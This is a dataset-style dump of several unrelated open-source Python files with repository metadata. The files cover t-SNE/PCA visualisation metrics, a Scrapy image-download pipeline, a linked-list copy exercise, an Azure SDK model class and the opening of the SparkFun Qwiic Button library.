tf.constant(x, dtype=np.float32) x2 = tf.constant(x, dtype=np.float32) self.assertAllClose(conv1(x1), conv1(x2)) w = np.random.randn(3, 3, 1, 3) conv1.w.assign(w) self.assertAllClose(conv1(x1), conv1(x2)) if __name__ == "__main__": tf.test.main()

true

1c4218b85311fa77639a3d344b13425637df0161

13,317

py

Python

metrics/visualisation.py

leosampaio/scene-designer

8a7276067acfde1997d386942aabc44d92436a1a

[ "MIT" ]

9

2021-08-18T17:49:42.000Z

2022-02-22T02:15:07.000Z

metrics/visualisation.py

leosampaio/scene-designer

8a7276067acfde1997d386942aabc44d92436a1a

[ "MIT" ]

null

metrics/visualisation.py

leosampaio/scene-designer

8a7276067acfde1997d386942aabc44d92436a1a

[ "MIT" ]

1

2021-10-02T19:53:03.000Z

import os import numpy as np from sklearn.manifold import TSNE from sklearn.decomposition import PCA import skimage.transform as sk_transform from sklearn.cluster import KMeans from PIL import Image from core.metrics import ProjectionMetric, ImageMetric class TSNEProjection(ProjectionMetric): name = 'tsne' input_type = 'predictions_on_validation_set' def compute(self, input_data): x, y, pred_x, pred_y, pred_z, tokenizer, plot_filepath, tmp_filepath = input_data np.random.seed(14) idx = np.random.permutation(len(y)) np.random.seed() # [194, 103, 317, 100, 112, 221, 223, 293, 239, 8], feats, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 y, pred_z = y[idx], pred_z[idx] for label, feature in zip(y, pred_z): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: feats.append(feature) labels.append(label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) tsne_results = tsne.fit_transform(feats) return np.concatenate((tsne_results, labels), axis=1) class TSNEImagesProjection(ImageMetric): name = 'tsne-images' input_type = 'features_and_images' def compute(self, input_data): feats, images = input_data tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) tsne_results = tsne.fit_transform(feats) tx, ty = tsne_results[:, 0], tsne_results[:, 1] tx = (tx - np.min(tx)) / (np.max(tx) - np.min(tx)) ty = (ty - np.min(ty)) / (np.max(ty) - np.min(ty)) tsne_results[:, 0], tsne_results[:, 1] = tx, ty width = 4000 height = 4000 max_dim = 100 full_image = Image.new('RGBA', (width, height)) for img, x, y in zip(images, tx, ty): tile = img rs = max(1, tile.shape[0] / max_dim, tile.shape[1] / max_dim) tile = sk_transform.resize(tile, (int(tile.shape[0] / rs), int(tile.shape[1] / rs)), anti_aliasing=True) tile = Image.fromarray(np.uint8(tile * 255)) full_image.paste(tile, (int((width - max_dim) * x), int((height - max_dim) * y)), mask=tile.convert('RGBA')) image_plot_file = '/tmp/tsne-image-plot.png' full_image.save(image_plot_file) return image_plot_file class EmbeddingTSNEProjection(ProjectionMetric): name = 'embedding-tsne' input_type = 'embedding_from_appearence_net_on_validation' def compute(self, input_data): emb, y = input_data np.random.seed(14) idx = np.random.permutation(len(y)) np.random.seed() sel_x, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 y = y[idx] emb = emb[idx] for feat, label in zip(emb, y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_x.append(feat) labels.append(label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=5000, random_state=14) tsne_results = tsne.fit_transform(sel_x) return np.concatenate((tsne_results, labels), axis=1) class EmbeddingPCAProjection(ProjectionMetric): name = 'embedding-pca' input_type = 'embedding_from_appearence_net_on_validation' def compute(self, input_data): emb, y = input_data np.random.seed(14) idx = np.random.permutation(len(y)) np.random.seed() sel_x, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 y = y[idx] emb = emb[idx] for feat, label in zip(emb, y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_x.append(feat) labels.append(label) counter += 1 if counter >= 1000: break pca = PCA(n_components=2) pca.fit(sel_x) pca_result = pca.transform(sel_x) return np.concatenate((pca_result, labels), axis=1) class EmbeddingsFromAppearenceNetTSNEProjection(ProjectionMetric): name = 'common-embedding-tsne' input_type = 'common_embedding_from_appearence_net_on_validation' plot_type = 'scatter-with-shapes' def compute(self, input_data): obj_emb, sketch_emb, y, skt_y = input_data np.random.seed(14) idx = np.random.permutation(len(y)) skt_idx = np.random.permutation(len(skt_y)) np.random.seed() sel_objs, sel_skts, labels, skt_labels, sel_labels, counter, label_counter = [], [], [], [], [], 0, 0 y = y[idx] obj_emb = obj_emb[idx] skt_y = skt_y[skt_idx] sketch_emb = sketch_emb[skt_idx] for skt, label in zip(sketch_emb, skt_y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_skts.append(skt) skt_labels.append(label) counter += 1 if counter >= 1000: break counter = 0 for obj, label in zip(obj_emb, y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_objs.append(obj) labels.append(label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) combined_embs = np.concatenate((sel_objs, sel_skts), axis=0) print(np.array(obj_emb).shape, np.array(sketch_emb).shape, np.array(sel_objs).shape, np.array(sel_skts).shape, np.array(combined_embs).shape, np.array(labels).shape) tsne_results = tsne.fit_transform(combined_embs) objs_tsne, skt_tsne = tsne_results[:len(sel_objs)], tsne_results[len(sel_objs):] return np.array([np.concatenate((objs_tsne, np.expand_dims(labels, -1)), axis=1), np.concatenate((skt_tsne, np.expand_dims(skt_labels, -1)), axis=1)]) class EmbeddingsFromTripletTSNEProjection(ProjectionMetric): name = 'common-obj-rep-tsne' input_type = 'rep_SBIR_on_validation_set' plot_type = 'scatter-with-shapes' def compute(self, input_data): _, _, _, _, _, R_ave, mAP, obj_emb, sketch_emb, y = input_data skt_y = y np.random.seed(14) idx = np.random.permutation(len(y)) skt_idx = np.random.permutation(len(skt_y)) np.random.seed() sel_objs, sel_skts, labels, skt_labels, sel_labels, counter, label_counter = [], [], [], [], [], 0, 0 y = y[idx] obj_emb = obj_emb[idx] skt_y = skt_y[skt_idx] sketch_emb = sketch_emb[skt_idx] for skt, label in zip(sketch_emb, skt_y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_skts.append(skt) skt_labels.append(label) counter += 1 if counter >= 1000: break counter = 0 for obj, label in zip(obj_emb, y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_objs.append(obj) labels.append(label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) combined_embs = np.concatenate((sel_objs, sel_skts), axis=0) print(np.array(obj_emb).shape, np.array(sketch_emb).shape, np.array(sel_objs).shape, np.array(sel_skts).shape, np.array(combined_embs).shape, np.array(labels).shape) tsne_results = tsne.fit_transform(combined_embs) objs_tsne, skt_tsne = tsne_results[:len(sel_objs)], tsne_results[len(sel_objs):] return np.array([np.concatenate((objs_tsne, labels), axis=1), np.concatenate((skt_tsne, skt_labels), axis=1)]) class ClusterTSNEProjection(ProjectionMetric): name = 'tsne-cluster' input_type = 'predictions_on_validation_set' def compute(self, input_data): x, y, pred_x, pred_y, pred_z, tokenizer, plot_filepath, tmp_filepath = input_data np.random.seed(14) idx = np.random.permutation(len(x)) np.random.seed() feats, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 x, y, pred_z = x[idx], y[idx], pred_z[idx] for sketch, label, feature in zip(x, y, pred_z): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: feats.append(feature) labels.append(label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) tsne_results = tsne.fit_transform(feats) kmeans = KMeans(n_clusters=30, random_state=14).fit(feats) cluster_labels = kmeans.labels_ sel_feats, feats_labels = None, None for i in range(30): clustered_feats = np.array(tsne_results)[np.where(cluster_labels == i)[0]] sel_feats = np.concatenate((sel_feats, clustered_feats)) if sel_feats is not None else clustered_feats feat_label = np.ones(len(clustered_feats,)) * i feats_labels = np.concatenate((feats_labels, feat_label)) if feats_labels is not None else feat_label np.random.seed() return np.concatenate((sel_feats, np.expand_dims(feats_labels, axis=1)), axis=1) class PredictedLabelsTSNEProjection(ProjectionMetric): name = 'tsne-predicted' input_type = 'predictions_on_validation_set' def compute(self, input_data): x, y, pred_x, pred_y, pred_z, tokenizer, plot_filepath, tmp_filepath = input_data np.random.seed(14) idx = np.random.permutation(len(y)) np.random.seed() feats, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 y, pred_z, pred_y = y[idx], pred_z[idx], pred_y[idx] for label, feature, pred_label in zip(y, pred_z, pred_y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: feats.append(feature) labels.append(pred_label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) tsne_results = tsne.fit_transform(feats) return np.concatenate((tsne_results, np.expand_dims(labels, axis=1)), axis=1) class PCAProjection(ProjectionMetric): name = 'pca' input_type = 'predictions_on_validation_set' def compute(self, input_data): entries, _, plot_filepath, tmp_filepath = input_data np.random.seed(14) idx = np.random.permutation(len(entries)) np.random.seed() feats, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 for i in idx: skt = entries[i] if skt['label'] not in sel_labels and label_counter < 10: sel_labels.append(skt['label']) label_counter += 1 if skt['label'] in sel_labels: feats.append(skt['features']) labels.append(skt['label']) counter += 1 if counter >= 1000: break pca = PCA(n_components=2) pca.fit(feats) pca_result = pca.transform(feats) return np.concatenate((pca_result, np.expand_dims(labels, axis=1)), axis=1)

36.585165

174

0.560787

import os import numpy as np from sklearn.manifold import TSNE from sklearn.decomposition import PCA import skimage.transform as sk_transform from sklearn.cluster import KMeans from PIL import Image from core.metrics import ProjectionMetric, ImageMetric class TSNEProjection(ProjectionMetric): name = 'tsne' input_type = 'predictions_on_validation_set' def compute(self, input_data): x, y, pred_x, pred_y, pred_z, tokenizer, plot_filepath, tmp_filepath = input_data np.random.seed(14) idx = np.random.permutation(len(y)) np.random.seed() feats, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 y, pred_z = y[idx], pred_z[idx] for label, feature in zip(y, pred_z): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: feats.append(feature) labels.append(label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) tsne_results = tsne.fit_transform(feats) return np.concatenate((tsne_results, labels), axis=1) class TSNEImagesProjection(ImageMetric): name = 'tsne-images' input_type = 'features_and_images' def compute(self, input_data): feats, images = input_data tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) tsne_results = tsne.fit_transform(feats) tx, ty = tsne_results[:, 0], tsne_results[:, 1] tx = (tx - np.min(tx)) / (np.max(tx) - np.min(tx)) ty = (ty - np.min(ty)) / (np.max(ty) - np.min(ty)) tsne_results[:, 0], tsne_results[:, 1] = tx, ty width = 4000 height = 4000 max_dim = 100 full_image = Image.new('RGBA', (width, height)) for img, x, y in zip(images, tx, ty): tile = img rs = max(1, tile.shape[0] / max_dim, tile.shape[1] / max_dim) tile = sk_transform.resize(tile, (int(tile.shape[0] / rs), int(tile.shape[1] / rs)), anti_aliasing=True) tile = Image.fromarray(np.uint8(tile * 255)) full_image.paste(tile, (int((width - max_dim) * x), int((height - max_dim) * y)), mask=tile.convert('RGBA')) image_plot_file = '/tmp/tsne-image-plot.png' full_image.save(image_plot_file) return image_plot_file class EmbeddingTSNEProjection(ProjectionMetric): name = 'embedding-tsne' input_type = 'embedding_from_appearence_net_on_validation' def compute(self, input_data): emb, y = input_data np.random.seed(14) idx = np.random.permutation(len(y)) np.random.seed() sel_x, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 y = y[idx] emb = emb[idx] for feat, label in zip(emb, y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_x.append(feat) labels.append(label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=5000, random_state=14) tsne_results = tsne.fit_transform(sel_x) return np.concatenate((tsne_results, labels), axis=1) class EmbeddingPCAProjection(ProjectionMetric): name = 'embedding-pca' input_type = 'embedding_from_appearence_net_on_validation' def compute(self, input_data): emb, y = input_data np.random.seed(14) idx = np.random.permutation(len(y)) np.random.seed() sel_x, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 y = y[idx] emb = emb[idx] for feat, label in zip(emb, y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_x.append(feat) labels.append(label) counter += 1 if counter >= 1000: break pca = PCA(n_components=2) pca.fit(sel_x) pca_result = pca.transform(sel_x) return np.concatenate((pca_result, labels), axis=1) class EmbeddingsFromAppearenceNetTSNEProjection(ProjectionMetric): name = 'common-embedding-tsne' input_type = 'common_embedding_from_appearence_net_on_validation' plot_type = 'scatter-with-shapes' def compute(self, input_data): obj_emb, sketch_emb, y, skt_y = input_data np.random.seed(14) idx = np.random.permutation(len(y)) skt_idx = np.random.permutation(len(skt_y)) np.random.seed() sel_objs, sel_skts, labels, skt_labels, sel_labels, counter, label_counter = [], [], [], [], [], 0, 0 y = y[idx] obj_emb = obj_emb[idx] skt_y = skt_y[skt_idx] sketch_emb = sketch_emb[skt_idx] for skt, label in zip(sketch_emb, skt_y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_skts.append(skt) skt_labels.append(label) counter += 1 if counter >= 1000: break counter = 0 for obj, label in zip(obj_emb, y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_objs.append(obj) labels.append(label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) combined_embs = np.concatenate((sel_objs, sel_skts), axis=0) print(np.array(obj_emb).shape, np.array(sketch_emb).shape, np.array(sel_objs).shape, np.array(sel_skts).shape, np.array(combined_embs).shape, np.array(labels).shape) tsne_results = tsne.fit_transform(combined_embs) objs_tsne, skt_tsne = tsne_results[:len(sel_objs)], tsne_results[len(sel_objs):] return np.array([np.concatenate((objs_tsne, np.expand_dims(labels, -1)), axis=1), np.concatenate((skt_tsne, np.expand_dims(skt_labels, -1)), axis=1)]) class EmbeddingsFromTripletTSNEProjection(ProjectionMetric): name = 'common-obj-rep-tsne' input_type = 'rep_SBIR_on_validation_set' plot_type = 'scatter-with-shapes' def compute(self, input_data): _, _, _, _, _, R_ave, mAP, obj_emb, sketch_emb, y = input_data skt_y = y np.random.seed(14) idx = np.random.permutation(len(y)) skt_idx = np.random.permutation(len(skt_y)) np.random.seed() sel_objs, sel_skts, labels, skt_labels, sel_labels, counter, label_counter = [], [], [], [], [], 0, 0 y = y[idx] obj_emb = obj_emb[idx] skt_y = skt_y[skt_idx] sketch_emb = sketch_emb[skt_idx] for skt, label in zip(sketch_emb, skt_y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_skts.append(skt) skt_labels.append(label) counter += 1 if counter >= 1000: break counter = 0 for obj, label in zip(obj_emb, y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: sel_objs.append(obj) labels.append(label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) combined_embs = np.concatenate((sel_objs, sel_skts), axis=0) print(np.array(obj_emb).shape, np.array(sketch_emb).shape, np.array(sel_objs).shape, np.array(sel_skts).shape, np.array(combined_embs).shape, np.array(labels).shape) tsne_results = tsne.fit_transform(combined_embs) objs_tsne, skt_tsne = tsne_results[:len(sel_objs)], tsne_results[len(sel_objs):] return np.array([np.concatenate((objs_tsne, labels), axis=1), np.concatenate((skt_tsne, skt_labels), axis=1)]) class ClusterTSNEProjection(ProjectionMetric): name = 'tsne-cluster' input_type = 'predictions_on_validation_set' def compute(self, input_data): x, y, pred_x, pred_y, pred_z, tokenizer, plot_filepath, tmp_filepath = input_data np.random.seed(14) idx = np.random.permutation(len(x)) np.random.seed() feats, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 x, y, pred_z = x[idx], y[idx], pred_z[idx] for sketch, label, feature in zip(x, y, pred_z): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: feats.append(feature) labels.append(label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) tsne_results = tsne.fit_transform(feats) kmeans = KMeans(n_clusters=30, random_state=14).fit(feats) cluster_labels = kmeans.labels_ sel_feats, feats_labels = None, None for i in range(30): clustered_feats = np.array(tsne_results)[np.where(cluster_labels == i)[0]] sel_feats = np.concatenate((sel_feats, clustered_feats)) if sel_feats is not None else clustered_feats feat_label = np.ones(len(clustered_feats,)) * i feats_labels = np.concatenate((feats_labels, feat_label)) if feats_labels is not None else feat_label np.random.seed() return np.concatenate((sel_feats, np.expand_dims(feats_labels, axis=1)), axis=1) class PredictedLabelsTSNEProjection(ProjectionMetric): name = 'tsne-predicted' input_type = 'predictions_on_validation_set' def compute(self, input_data): x, y, pred_x, pred_y, pred_z, tokenizer, plot_filepath, tmp_filepath = input_data np.random.seed(14) idx = np.random.permutation(len(y)) np.random.seed() feats, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 y, pred_z, pred_y = y[idx], pred_z[idx], pred_y[idx] for label, feature, pred_label in zip(y, pred_z, pred_y): if label not in sel_labels and label_counter < 10: sel_labels.append(label) label_counter += 1 if label in sel_labels: feats.append(feature) labels.append(pred_label) counter += 1 if counter >= 1000: break tsne = TSNE(n_components=2, verbose=0, perplexity=30, n_iter=1000, random_state=14) tsne_results = tsne.fit_transform(feats) return np.concatenate((tsne_results, np.expand_dims(labels, axis=1)), axis=1) class PCAProjection(ProjectionMetric): name = 'pca' input_type = 'predictions_on_validation_set' def compute(self, input_data): entries, _, plot_filepath, tmp_filepath = input_data np.random.seed(14) idx = np.random.permutation(len(entries)) np.random.seed() feats, labels, sel_labels, counter, label_counter = [], [], [], 0, 0 for i in idx: skt = entries[i] if skt['label'] not in sel_labels and label_counter < 10: sel_labels.append(skt['label']) label_counter += 1 if skt['label'] in sel_labels: feats.append(skt['features']) labels.append(skt['label']) counter += 1 if counter >= 1000: break pca = PCA(n_components=2) pca.fit(feats) pca_result = pca.transform(feats) return np.concatenate((pca_result, np.expand_dims(labels, axis=1)), axis=1)

true

1c4218ccb0778ac35e790ae6907fa890294ef128

2,321

py

Python

codes/apks/pipelines/image_download_pipeline.py

RiskySignal/APKCrawler

28e1cbccdd378bcb66d020349877f1d87679f8bd

[ "MIT" ]

11

2020-11-26T08:15:56.000Z

2022-03-30T11:15:39.000Z

codes/apks/pipelines/image_download_pipeline.py

RiskySignal/APKCrawler

28e1cbccdd378bcb66d020349877f1d87679f8bd

[ "MIT" ]

1

2021-01-15T02:04:12.000Z

2021-01-15T02:41:01.000Z

codes/apks/pipelines/image_download_pipeline.py

RiskySignal/APKCrawler

28e1cbccdd378bcb66d020349877f1d87679f8bd

[ "MIT" ]

2

2021-07-21T19:17:56.000Z

2022-02-14T07:36:11.000Z

# coding=utf-8 import logging from scrapy.pipelines.images import ImagesPipeline from items import AppDetail from scrapy.utils.python import to_bytes import hashlib import scrapy import os from pipelines.folder_path import get_app_folder import settings as project_settings from database import Database class ImageDownloadPipeline(ImagesPipeline): logger = logging.getLogger("ImageDownloadPipeline") def __init__(self, store_uri, download_func=None, settings=None): super().__init__(store_uri, download_func, settings) self.db = Database() def get_media_requests(self, item: AppDetail, info): app_folder = get_app_folder(item) file_path = os.path.relpath(app_folder, project_settings.FILES_STORE) image_length = len(item['picture_links']) pruned_picture_links = [] pruned_picture_link_ids = [] for _image_index_ in range(image_length): picture_link = item['picture_links'][_image_index_] picture_link_id = item['picture_link_ids'][_image_index_] if not self.db.get_image_status(picture_link_id): pruned_picture_links.append(picture_link) pruned_picture_link_ids.append(picture_link_id) else: logging.info("Image file {} exists.".format(picture_link)) item['picture_links'] = pruned_picture_links item['picture_link_ids'] = pruned_picture_link_ids for picture_link in item['picture_links']: yield scrapy.Request(picture_link, meta={'file_path': file_path}) def file_path(self, request, response=None, info=None, *, item=None): image_guid = hashlib.sha1(to_bytes(request.url)).hexdigest() return os.path.join(request.meta['file_path'], "%s.jpg" % image_guid) def item_completed(self, results, item: AppDetail, info): for result_index in range(len(results)): result = results[result_index] if result[0]: self.logger.info("Download image '{}' successfully.".format(item['picture_links'][result_index])) self.db.set_image_available(item['picture_link_ids'][result_index]) else: self.logger.error("Fail to download image '{}'.".format(item['picture_links'][result_index])) return item

41.446429

113

0.687635

import logging from scrapy.pipelines.images import ImagesPipeline from items import AppDetail from scrapy.utils.python import to_bytes import hashlib import scrapy import os from pipelines.folder_path import get_app_folder import settings as project_settings from database import Database class ImageDownloadPipeline(ImagesPipeline): logger = logging.getLogger("ImageDownloadPipeline") def __init__(self, store_uri, download_func=None, settings=None): super().__init__(store_uri, download_func, settings) self.db = Database() def get_media_requests(self, item: AppDetail, info): app_folder = get_app_folder(item) file_path = os.path.relpath(app_folder, project_settings.FILES_STORE) image_length = len(item['picture_links']) pruned_picture_links = [] pruned_picture_link_ids = [] for _image_index_ in range(image_length): picture_link = item['picture_links'][_image_index_] picture_link_id = item['picture_link_ids'][_image_index_] if not self.db.get_image_status(picture_link_id): pruned_picture_links.append(picture_link) pruned_picture_link_ids.append(picture_link_id) else: logging.info("Image file {} exists.".format(picture_link)) item['picture_links'] = pruned_picture_links item['picture_link_ids'] = pruned_picture_link_ids for picture_link in item['picture_links']: yield scrapy.Request(picture_link, meta={'file_path': file_path}) def file_path(self, request, response=None, info=None, *, item=None): image_guid = hashlib.sha1(to_bytes(request.url)).hexdigest() return os.path.join(request.meta['file_path'], "%s.jpg" % image_guid) def item_completed(self, results, item: AppDetail, info): for result_index in range(len(results)): result = results[result_index] if result[0]: self.logger.info("Download image '{}' successfully.".format(item['picture_links'][result_index])) self.db.set_image_available(item['picture_link_ids'][result_index]) else: self.logger.error("Fail to download image '{}'.".format(item['picture_links'][result_index])) return item

true

1c4218f8f1a6553933731f5deb42365604dfe0b2

2,123

py

Python

src/interviewbit/hash/copy_list.py

JadielTeofilo/General-Algorithms

dfcf86c6ecd727573079f8971187c47bdb7a37bb

[ "MIT" ]

null

src/interviewbit/hash/copy_list.py

JadielTeofilo/General-Algorithms

dfcf86c6ecd727573079f8971187c47bdb7a37bb

[ "MIT" ]

null

src/interviewbit/hash/copy_list.py

JadielTeofilo/General-Algorithms

dfcf86c6ecd727573079f8971187c47bdb7a37bb

[ "MIT" ]

null

""" A linked list is given such that each node contains an additional random pointer which could point to any node in the list or NULL. Return a deep copy of the list. Example Given list _ 1 -> 2 -> 3 _ 1 -> 2 keep a visited last root 1 2 4 1 3 2 dfs on the tree skiping visited nodes receive two node from the elements bellow (next and random) stop when no unvisited children is found add a node and return with random pointers going from 1 -> 3 2 -> 1 3 -> 1 You should return a deep copy of the list. The returned answer should not contain the same node as the original list, but a copy of them. The pointers in the returned list should not link to any node in the original input list. O(n) time complexity O(n) space complexity cuz recursion """ from typing import List, Dict, Set, Optional # Definition for singly-linked list with a random pointer. class RandomListNode: def __init__(self, x): self.label = x self.next = None self.random = None class Solution: # @param head, a RandomListNode # @return a RandomListNode def copyRandomList(self, head: RandomListNode) -> Optional[RandomListNode]: visited: Dict[int, RandomListNode] = dict() root = self.copy_list(head, visited) while head: if head.random: visited[head.label].random = visited[head.random.label] head = head.next return root def copy_list(self, head: RandomListNode, visited: Dict[int, RandomListNode]) -> Optional[RandomListNode]: if not head: return if head.label in visited: return visited[head.label] curr: RandomListNode = RandomListNode(head.label) visited[head.label] = curr next_copy, random_copy = None, None if head.next: next_copy = self.copy_list(head.next, visited) curr.next = next_copy return curr

26.5375

227

0.607631

from typing import List, Dict, Set, Optional class RandomListNode: def __init__(self, x): self.label = x self.next = None self.random = None class Solution: def copyRandomList(self, head: RandomListNode) -> Optional[RandomListNode]: visited: Dict[int, RandomListNode] = dict() root = self.copy_list(head, visited) while head: if head.random: visited[head.label].random = visited[head.random.label] head = head.next return root def copy_list(self, head: RandomListNode, visited: Dict[int, RandomListNode]) -> Optional[RandomListNode]: if not head: return if head.label in visited: return visited[head.label] curr: RandomListNode = RandomListNode(head.label) visited[head.label] = curr next_copy, random_copy = None, None if head.next: next_copy = self.copy_list(head.next, visited) curr.next = next_copy return curr

true

1c4219c10b3a2ceaaedd396a815c22e2d089d4d4

1,097

py

Python

azure-mgmt-cosmosdb/azure/mgmt/cosmosdb/models/database_account_regenerate_key_parameters.py

SUSE/azure-sdk-for-python

324f99d26dd6f4ee9793b9bf1d4d5f928e4b6c2f

[ "MIT" ]

2

2020-07-29T14:22:17.000Z

2020-11-06T18:47:40.000Z

azure-mgmt-cosmosdb/azure/mgmt/cosmosdb/models/database_account_regenerate_key_parameters.py

SUSE/azure-sdk-for-python

324f99d26dd6f4ee9793b9bf1d4d5f928e4b6c2f

[ "MIT" ]

1

2016-08-01T07:37:04.000Z

azure-mgmt-cosmosdb/azure/mgmt/cosmosdb/models/database_account_regenerate_key_parameters.py

SUSE/azure-sdk-for-python

324f99d26dd6f4ee9793b9bf1d4d5f928e4b6c2f

[ "MIT" ]

1

2020-12-12T21:04:41.000Z

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class DatabaseAccountRegenerateKeyParameters(Model): """Parameters to regenerate the keys within the database account. :param key_kind: The access key to regenerate. Possible values include: 'primary', 'secondary', 'primaryReadonly', 'secondaryReadonly' :type key_kind: str or :class:`KeyKind <azure.mgmt.cosmosdb.models.KeyKind>` """ _validation = { 'key_kind': {'required': True}, } _attribute_map = { 'key_kind': {'key': 'keyKind', 'type': 'str'}, } def __init__(self, key_kind): self.key_kind = key_kind

32.264706

76

0.600729

from msrest.serialization import Model class DatabaseAccountRegenerateKeyParameters(Model): _validation = { 'key_kind': {'required': True}, } _attribute_map = { 'key_kind': {'key': 'keyKind', 'type': 'str'}, } def __init__(self, key_kind): self.key_kind = key_kind

true

1c4219fff67ffabcc60003d010889745dc2acda1

28,399

py

Python

qwiic_button.py

sparkfun/Qwiic_Button_Py

c7d4a195e7d379c38ee23f445a514a06c92ef8d4

[ "MIT" ]

null

qwiic_button.py

sparkfun/Qwiic_Button_Py

c7d4a195e7d379c38ee23f445a514a06c92ef8d4

[ "MIT" ]

2

2021-02-14T02:05:05.000Z

2021-03-11T16:49:08.000Z

qwiic_button.py

sparkfun/Qwiic_Button_Py

c7d4a195e7d379c38ee23f445a514a06c92ef8d4

[ "MIT" ]

null

#----------------------------------------------------------------------------- # qwiic_button.py # # Python library for the SparkFun qwiic button. # https://www.sparkfun.com/products/15932 # #------------------------------------------------------------------------ # # Written by Priyanka Makin @ SparkFun Electronics, January 2021 # # This python library supports the SparkFun Electroncis qwiic # qwiic sensor/board ecosystem # # More information on qwiic is at https:// www.sparkfun.com/qwiic # # Do you like this library? Help support SparkFun. Buy a board! #================================================================================== # Copyright (c) 2020 SparkFun Electronics # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. #================================================================================== """ qwiic_button ============ Python module for the Qwiic Button. This python package is a port of the exisiting [SparkFun Qwiic Button Arduino Library](https://github.com/sparkfun/SparkFun_Qwiic_Button_Arduino_Library) This package can be used in conjunction with the overall [SparkFun Qwiic Python Package](https://github.com/sparkfun/Qwiic_Py) New to qwiic? Take a look at the entire [SparkFun Qwiic Ecosystem](https://www.sparkfun.com/qwiic). """ #----------------------------------------------------------------------------------- import math import qwiic_i2c # Define the device name and I2C addresses. These are set in the class definition # as class variables, making them available without having to create a class instance. # This allows higher level logic to rapidly create an index of qwiic devices at runtime. # This is the name of the device _DEFAULT_NAME = "Qwiic Button" # Some devices have multiple available addresses - this is a list of these addresses. # NOTE: The first address in this list is considered the default I2C address for the # device. _QWIIC_BUTTON_DEFAULT_ADDRESS = 0x6F _FULL_ADDRESS_LIST = list(range(0x08, 0x77+1)) # Full address list (excluding reserved addresses) _FULL_ADDRESS_LIST.remove(_QWIIC_BUTTON_DEFAULT_ADDRESS >> 1) # Remove default address from list _AVAILABLE_I2C_ADDRESS = [_QWIIC_BUTTON_DEFAULT_ADDRESS] # Initialize with default address 